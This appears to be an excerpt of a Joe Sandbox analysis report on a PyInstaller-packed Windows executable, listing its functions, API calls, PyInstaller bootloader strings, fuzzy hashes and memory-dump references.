Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction ID: 7f73d800b3a425f4758f60ec51b0d0ff776963957c08862f785d087010eaf67f
Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction Fuzzy Hash: A3118B32618F8182EB618B24F50026ABBE0FB88B94F984230DF8C07769DF3CE455CB00

Function 00007FF7102DFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF7102DFABC

Strings

:, xrefs: 00007FF7102DFAA5

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: b52549dab8f6fa18d36ee9f29823605c4451c89bd64dcef07c637251050dbbb5
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: 3F01842291CA4386FB61BF60946167EAB90EF48728FC00135D54D46791DF7CF948CB28

Analysis Process: 56C7.tmp.ctx.exePID: 2496, Parent PID: 1596COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	809
Total number of Limit Nodes:	25

Executed Functions

Function 00007FF7102C1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Could not create temporary directory!, xrefs: 00007FF7102C3838
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF7102C3A31
Failed to convert DLL search path!, xrefs: 00007FF7102C38A3
Failed to start splash screen!, xrefs: 00007FF7102C3933
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7102C3905
pyi-contents-directory, xrefs: 00007FF7102C35F8
MEI, xrefs: 00007FF7102C374E
pkg, xrefs: 00007FF7102C37CF
pyi-runtime-tmpdir, xrefs: 00007FF7102C35D3
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7102C37EF
pyi-disable-windowed-traceback, xrefs: 00007FF7102C361D
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7102C36FC
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7102C3820
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7102C391A
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7102C378C
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF7102C3A12
_MEIPASS2, xrefs: 00007FF7102C36A2, 00007FF7102C36AE, 00007FF7102C39AC
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7102C3653

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
API String ID: 514040917-585287483
Opcode ID: 4cb2c86178b2debc9d1438e34e60b398346cd33ecfd6192601395768889eb40b
Instruction ID: cca435bbda14adafb9fc625ea32514403f384e5e3c96569e3c00c80d3c286be6
Opcode Fuzzy Hash: 4cb2c86178b2debc9d1438e34e60b398346cd33ecfd6192601395768889eb40b
Instruction Fuzzy Hash: 37F19021A28E8291FA19FB20D6552F9EB51AF447A0FC48431DA5D437D6EF2CF65CC360

Function 00007FF7102E4F10 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7102E4F55

Part of subcall function 00007FF7102E48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E48BC

Part of subcall function 00007FF7102D9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
Part of subcall function 00007FF7102D9C58: GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

Part of subcall function 00007FF7102D9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7102D9BEF,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102D9C19
Part of subcall function 00007FF7102D9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7102D9BEF,?,?,?,?,?,00007FF7102D9ADA), ref: 00007FF7102D9C3E

_get_daylight.LIBCMT ref: 00007FF7102E4F44

Part of subcall function 00007FF7102E4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E491C

_get_daylight.LIBCMT ref: 00007FF7102E51BA
_get_daylight.LIBCMT ref: 00007FF7102E51CB
_get_daylight.LIBCMT ref: 00007FF7102E51DC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7102E541C), ref: 00007FF7102E5203

Strings

Eastern Summer Time, xrefs: 00007FF7102E52C1
Eastern Standard Time, xrefs: 00007FF7102E52A9

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction ID: 2725e732b581453a11cc6762f3f697c3dfffd8e5f73bbbfce9f7a15ecc798ea8
Opcode Fuzzy Hash: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction Fuzzy Hash: 01D1B126A58A5286EB20FF21D8501B9BB91FF447A4FC4413AEA0D57B85EF3CF449C760

Function 00007FF7102E5C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7102E59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E59E9
Part of subcall function 00007FF7102E59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E5A67
Part of subcall function 00007FF7102E59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E5AB8

CreateFileW.KERNELBASE ref: 00007FF7102E5D7A
CreateFileW.KERNEL32 ref: 00007FF7102E5DCA
GetLastError.KERNEL32 ref: 00007FF7102E5DFA
GetFileType.KERNELBASE ref: 00007FF7102E5E0F
GetLastError.KERNEL32 ref: 00007FF7102E5E19
CloseHandle.KERNEL32 ref: 00007FF7102E5E4C
CloseHandle.KERNEL32 ref: 00007FF7102E5FAF
CreateFileW.KERNEL32 ref: 00007FF7102E5FE4
GetLastError.KERNEL32 ref: 00007FF7102E5FF3

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: 8aa53c75860bba3fa9c257e1e5a99d171ce34b3a74009042b355a960b361eed1
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: 43C1E433B24E5186EB10DF68C4902AD7B61FB49BA8B411235DF1E67794DF38E559C320

Function 00007FF7102E518C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7102E51BA

Part of subcall function 00007FF7102E4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E491C

_get_daylight.LIBCMT ref: 00007FF7102E51CB

Part of subcall function 00007FF7102E48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E48BC

_get_daylight.LIBCMT ref: 00007FF7102E51DC

Part of subcall function 00007FF7102E48D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E48EC

Part of subcall function 00007FF7102D9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
Part of subcall function 00007FF7102D9C58: GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7102E541C), ref: 00007FF7102E5203

Strings

Eastern Summer Time, xrefs: 00007FF7102E52C1
Eastern Standard Time, xrefs: 00007FF7102E52A9

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction ID: ff8905ffbdd9d7818128243ef185a5b5f5ba94ed17029985c61b5d4557d103eb
Opcode Fuzzy Hash: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction Fuzzy Hash: 0B518332A58A5286E710FF21D8811A9FB64FF487A4FC4413AEA4D57795DF3CF4488760

Function 00007FF7102C85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7102C85D3
FindClose.KERNELBASE ref: 00007FF7102C85E2

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 685b96d5d7ad67f7eddb0fa77934927e8187ca659d535f332a28d34b347711cc
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 4CF0C822A28A4186F7619B60B598366B750AB44778F844335D96E127D4CF7CF05C8A14

Function 00007FF7102C18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7102C76A0: _fread_nolock.LIBCMT ref: 00007FF7102C774A

_fread_nolock.LIBCMT ref: 00007FF7102C19B4

Part of subcall function 00007FF7102C2760: MessageBoxW.USER32 ref: 00007FF7102C283B

Strings

Failed to read cookie!, xrefs: 00007FF7102C19BF
malloc, xrefs: 00007FF7102C1AA8
MEI, xrefs: 00007FF7102C1931
Could not allocate buffer for TOC!, xrefs: 00007FF7102C1AA1
Could not read full TOC!, xrefs: 00007FF7102C1AD4
Could not allocate memory for archive structure!, xrefs: 00007FF7102C19EE
fread, xrefs: 00007FF7102C19C6, 00007FF7102C1ADB
fseek, xrefs: 00007FF7102C1990
Failed to seek to cookie position!, xrefs: 00007FF7102C1989
calloc, xrefs: 00007FF7102C19F5
Error on file., xrefs: 00007FF7102C1B0A

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: d524917e89b801da10e80b3ca34b087cb2f64d4ecab2cc22987bc85bc7bfaca7
Instruction ID: 007d373095b30d620df114ae9d0f47ca2be00f462190123030a4d5393fba77e4
Opcode Fuzzy Hash: d524917e89b801da10e80b3ca34b087cb2f64d4ecab2cc22987bc85bc7bfaca7
Instruction Fuzzy Hash: B271E571A28E8285EB21EB14D5513BAAB90FF457A4F904035E98D47799EE3CF94C8B20

Function 00007FF7102C1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7102C159A
malloc, xrefs: 00007FF7102C14E0
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7102C14A9
fread, xrefs: 00007FF7102C15A1
fseek, xrefs: 00007FF7102C14B0
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7102C14D9
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7102C146F

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 2048e37e2dbcde694c6460e961e71067ec18d50eb38cb5dd6bedaf900731452f
Instruction ID: 1e80b0dc757a02401dcb4ba824b1a6a7c3a3cdc8484b327db10704f9629a8bf5
Opcode Fuzzy Hash: 2048e37e2dbcde694c6460e961e71067ec18d50eb38cb5dd6bedaf900731452f
Instruction Fuzzy Hash: 9E41B022B18A4381EA21BB15AA415B6EBA0FF457E4FD44032DE4D17B95EE3CF4498720

Function 00007FFEF65528C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyObject_CallObject.PYTHON38 ref: 00007FFEF65528E6
PyMem_Malloc.PYTHON38 ref: 00007FFEF6552908
PyDict_Update.PYTHON38 ref: 00007FFEF6552978
_Py_Dealloc.PYTHON38 ref: 00007FFEF655299B
PyErr_NoMemory.PYTHON38 ref: 00007FFEF65579EA

Strings

X{}, xrefs: 00007FFEF655292A

Memory Dump Source

Source File: 00000010.00000002.1552745719.00007FFEF6551000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFEF6550000, based on PE: true

Associated: 00000010.00000002.1552718521.00007FFEF6550000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1552781026.00007FFEF6561000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1552810697.00007FFEF6568000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000010.00000002.1552843563.00007FFEF656C000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffef6550000_56C7.jbxd

Similarity

API ID: CallDeallocDict_Err_MallocMem_MemoryObjectObject_Update
String ID: X{}
API String ID: 3334104440-2140212134
Opcode ID: 993215c533787af24a8ddded9fa27fbbebaacf7f242f7e515d88610f26fd57d5
Instruction ID: f3abb9b8fb504da75485fbf63af702dbfc3f5566ed2305a7773e63fb0af44048
Opcode Fuzzy Hash: 993215c533787af24a8ddded9fa27fbbebaacf7f242f7e515d88610f26fd57d5
Instruction Fuzzy Hash: 7B313731A0878286EB558F25D95827867A8EF45BD8F884930DA6D637F5DF3DE894C300

Function 00007FF7102C11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7102C13EE
malloc, xrefs: 00007FF7102C129C, 00007FF7102C12CA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7102C1256
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7102C1295
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7102C12C3
1.3.1, xrefs: 00007FF7102C1229

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 9a5e5245148448c4e614d040f8d0f58f792f1f660e446cb233f85b6b3462f215
Instruction ID: 81832dde202d38e4d4f7da31bc0e9f683556378acd50989647e193954972ffb4
Opcode Fuzzy Hash: 9a5e5245148448c4e614d040f8d0f58f792f1f660e446cb233f85b6b3462f215
Instruction Fuzzy Hash: 9351F622A18E8281EA64BB11A5413BAEA51FF867A4FD40135ED4D47BD5EF3CF449C720

Function 00007FF7102DE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7102DE3BA,?,?,-00000018,00007FF7102DA063,?,?,?,00007FF7102D9F5A,?,?,?,00007FF7102D524E), ref: 00007FF7102DE19C
GetProcAddress.KERNEL32(?,?,?,00007FF7102DE3BA,?,?,-00000018,00007FF7102DA063,?,?,?,00007FF7102D9F5A,?,?,?,00007FF7102D524E), ref: 00007FF7102DE1A8

Strings

ext-ms-, xrefs: 00007FF7102DE0F9
api-ms-, xrefs: 00007FF7102DE0E6

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: 31a7087208fb00d03ff0818f0388ba8a4a6613ce3abad4646cabbebef260a9a0
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: E141B222B19E0292FE16BB16A940676AA92BF45BB0FC94135DD1D57784EE3CFC0D8360

Function 00007FF7102DAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DB199

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
Instruction ID: c45be9521118ba2c1801180bd2584de96bd1d1b0d13ee4ad47e8844ab2311a14
Opcode Fuzzy Hash: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
Instruction Fuzzy Hash: E4C1D323A0CE8791EA62AB1494606BEBF51FB90BA0FD54135EA5D03791DE7DFC4D8320

Function 00007FF7102C33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7102C3534), ref: 00007FF7102C3411

Part of subcall function 00007FF7102C29E0: GetLastError.KERNEL32(?,?,?,00007FF7102C342E,?,00007FF7102C3534), ref: 00007FF7102C2A14
Part of subcall function 00007FF7102C29E0: FormatMessageW.KERNEL32(?,?,?,00007FF7102C342E), ref: 00007FF7102C2A7D
Part of subcall function 00007FF7102C29E0: MessageBoxW.USER32 ref: 00007FF7102C2ACF

Strings

\\?\, xrefs: 00007FF7102C3482
Failed to resolve full path to executable %ls., xrefs: 00007FF7102C3461
Failed to convert executable path to UTF-8., xrefs: 00007FF7102C34B8
Failed to obtain executable path., xrefs: 00007FF7102C341B
GetModuleFileNameW, xrefs: 00007FF7102C3422

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
